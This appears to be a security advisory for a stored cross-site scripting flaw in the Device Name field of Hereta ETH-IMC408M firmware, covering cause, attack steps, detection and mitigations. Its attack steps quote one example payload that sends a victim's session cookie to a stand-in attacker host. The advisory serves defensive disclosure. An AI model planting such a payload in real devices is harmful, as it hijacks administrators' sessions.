CVE-2026-29510: Hereta ETH-IMC408M XSS Vulnerability

CVE-2026-29510 Overview

CVE-2026-29510 is a stored cross-site scripting (XSS) vulnerability affecting Hereta ETH-IMC408M firmware version 1.0.15 and prior versions. The vulnerability exists in the System Status interface where authenticated attackers can inject arbitrary JavaScript code by manipulating the Device Name field. When other users view the status page, the malicious scripts execute in their browsers due to the lack of proper input sanitization.

Critical Impact

Authenticated attackers can persistently inject malicious JavaScript that executes in the context of other users' sessions, potentially enabling session hijacking, credential theft, or further compromise of network infrastructure devices.

Affected Products

• Hereta ETH-IMC408M firmware version 1.0.15
• Hereta ETH-IMC408M firmware versions prior to 1.0.15

Discovery Timeline

• 2026-03-16 - CVE-2026-29510 published to NVD
• 2026-03-17 - Last updated in NVD database

Technical Details for CVE-2026-29510

Vulnerability Analysis

This stored cross-site scripting vulnerability (CWE-79) allows authenticated attackers to inject malicious JavaScript code that persists on the device and executes whenever other users access the affected System Status page. Unlike reflected XSS attacks that require tricking users into clicking malicious links, stored XSS payloads remain on the server and automatically affect any user who views the compromised page.

The vulnerability stems from insufficient input validation on the Device Name field within the System Status interface. When an attacker with authenticated access modifies this field to include JavaScript code, the application stores the payload without proper sanitization. Subsequently, when any user accesses the status page, the stored script executes within their browser context.

This type of vulnerability in network infrastructure devices like the ETH-IMC408M is particularly concerning because these devices are often accessed by administrators with elevated privileges, making them high-value targets for privilege escalation attacks.

Root Cause

The root cause of CVE-2026-29510 is the absence of proper input sanitization and output encoding in the Device Name field handling. The firmware fails to validate user-supplied input before storing it in the database and does not properly encode the output when rendering the System Status page. This allows HTML and JavaScript content to be interpreted as executable code rather than being treated as plain text data.

Attack Vector

The attack vector for this vulnerability is network-based, requiring the attacker to have authenticated access to the device's web interface. The exploitation flow involves:

1. An attacker authenticates to the Hereta ETH-IMC408M web interface using valid credentials
2. The attacker navigates to the device configuration section containing the Device Name field
3. The attacker injects malicious JavaScript payload into the Device Name field (e.g., <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>)
4. The payload is stored on the device without sanitization
5. When administrators or other users view the System Status page, the malicious script executes in their browser
6. The attacker can steal session cookies, capture credentials, or perform actions on behalf of the victim

For detailed technical information, refer to the VulnCheck Security Advisory.

Detection Methods for CVE-2026-29510

Indicators of Compromise

• Unusual or unexpected values in the Device Name field containing HTML tags or JavaScript code
• Browser console errors or unexpected script execution when accessing the System Status page
• Network traffic to unknown external domains originating from administrator workstations after viewing the device status page
• Suspicious modifications to device configuration fields that include encoded characters or script tags

Detection Strategies

• Implement web application firewall (WAF) rules to detect XSS payloads in HTTP requests to the device management interface
• Review device configuration exports for anomalous entries in the Device Name and similar text fields
• Monitor browser network activity for unexpected outbound connections when accessing device management pages
• Deploy endpoint detection solutions that can identify malicious script execution patterns in browser processes

Monitoring Recommendations

• Enable comprehensive logging on the ETH-IMC408M device to capture all configuration changes
• Configure SIEM alerts for configuration modifications to critical device fields
• Implement network traffic analysis to detect data exfiltration patterns from management workstations
• Schedule periodic audits of device configuration values to identify potential XSS payloads

How to Mitigate CVE-2026-29510

Immediate Actions Required

• Audit all Device Name field values on deployed ETH-IMC408M devices for suspicious content containing script tags or JavaScript
• Restrict access to the device management interface to trusted IP addresses only using firewall rules
• Implement network segmentation to isolate management interfaces from general network traffic
• Review access logs and user accounts with permissions to modify device configuration

Patch Information

As of the last update on 2026-03-17, no official patch has been released by Hereta. Monitor the archived Hereta website and the VulnCheck Security Advisory for updates on patch availability. Organizations should contact Hereta support directly to inquire about firmware updates that address this vulnerability.

Workarounds

• Implement strict access controls limiting which users can modify device configuration fields
• Deploy a reverse proxy or web application firewall in front of the management interface to filter XSS payloads
• Use browser security extensions that block inline script execution when accessing the device interface
• Consider disabling web-based management and using alternative configuration methods if available

# Example: Restrict access to management interface via iptables
# Allow only trusted admin subnet to access device web interface
iptables -A INPUT -p tcp --dport 80 -s 10.0.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s 10.0.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 443 -j DROP